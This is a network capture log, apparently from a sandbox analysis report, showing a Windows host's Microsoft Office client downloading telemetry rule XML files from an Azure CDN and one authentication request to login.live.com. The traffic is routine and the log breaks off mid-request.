2024-11-07 22:47:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 6b8af152-501e-008f-6bcb-2f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224734Z-17df447cdb5fh5hghC1DFWam040000000260000000005nhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 34624292-801e-0047-3c58-2e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224734Z-15869dbbcc6lq45jhC1DFWbkc800000002c000000000rf7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 38f7eb3e-301e-006e-6008-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224734Z-16547b76f7f2g4rlhC1DFWnx8800000008m000000000uqkp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 7b6e4e7e-601e-0050-245f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224734Z-17df447cdb5fzdpxhC1DFWdd340000000540000000008uc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:35 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224735Z-16547b76f7fknvdnhC1DFWxnys00000008s000000000r13x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2e6eb393-601e-0097-4b00-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224735Z-16547b76f7fr28cchC1DFWnuws00000008zg0000000014db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224735Z-16547b76f7fq9mcrhC1DFWq15w00000008r000000000k8c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 23aea2f2-001e-0065-4c65-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224735Z-15869dbbcc6lq45jhC1DFWbkc800000002fg00000000b82g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49810	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 22:47:35 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:36 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 0cad0c16-1223-4974-99a3-332bca078298 PPServer: PPV: 30 H: BL02EPF0001D8A2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:35 GMT Connection: close Content-Length: 1918
2024-11-07 22:47:36 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:35 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b9c7c7ae-801e-00a0-1255-2e2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224735Z-17df447cdb5rrj6shC1DFW6qg400000004y000000000d4pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 80377679-701e-0001-04e1-2fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224736Z-17df447cdb5l865xhC1DFW9n7g0000000210000000006rrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
